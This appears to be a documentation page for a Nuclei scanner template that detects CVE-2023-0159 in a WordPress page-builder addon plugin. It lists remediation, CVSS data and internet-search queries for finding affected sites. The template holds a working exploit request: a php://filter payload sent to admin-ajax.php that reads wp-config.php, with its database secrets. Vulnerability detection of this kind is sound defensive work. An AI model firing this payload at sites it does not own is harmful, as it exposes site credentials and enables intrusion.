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Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE

ID: CVE-2023-0159

Severity: high

Author: c4sper0

Tags: cve,cve2023,wordpress,wpbakery,wp-plugin,lfi,extensive-vc-addon,wprealize

Description

Section titled “Description”

The plugin does not validate a parameter passed to the php extract function when loading templates, allowing an unauthenticated attacker to override the template path to read arbitrary files from the hosts file system. This may be escalated to RCE using PHP filter chains.

YAML Source

Section titled “YAML Source”
id: CVE-2023-0159


info:
  name: Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE
  author: c4sper0
  severity: high
  description: |
    The plugin does not validate a parameter passed to the php extract function when loading templates, allowing an unauthenticated attacker to override the template path to read arbitrary files from the hosts file system. This may be escalated to RCE using PHP filter chains.
  remediation: Fixed in 1.9.1
  reference: |-
    - https://wpscan.com/vulnerability/239ea870-66e5-4754-952e-74d4dd60b809/
    - https://github.com/im-hanzou/EVCer
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/xu-xiang/awesome-security-vul-llm
    - https://wordpress.org/plugins/extensive-vc-addon/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-0159
    epss-score: 0.01059
    epss-percentile: 0.84061
    cpe: cpe:2.3:a:wprealize:extensive_vc_addons_for_wpbakery_page_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wprealize
    product: "extensive_vc_addons_for_wpbakery_page_builder"
    framework: wordpress
    shodan-query: "http.html:/wp-content/plugins/extensive-vc-addon/"
    fofa-query: "body=/wp-content/plugins/extensive-vc-addon/"
    publicwww-query: "/wp-content/plugins/extensive-vc-addon/"
  tags: cve,cve2023,wordpress,wpbakery,wp-plugin,lfi,extensive-vc-addon,wprealize


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=extensive_vc_init_shortcode_pagination&options[template]=php://filter/convert.base64-encode/resource=../wp-config.php


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"status":"success","message":"Items are loaded","data":'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c7036db5c98aa01e5cba6c5a18b86ebe5ce203de6f31ebe98b29426fc46d301a0221008bbd637f55c79c2fe2bf4486705b21e382638a97ffbe99749d0cbc5a391d997e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0159.yaml"

View on Github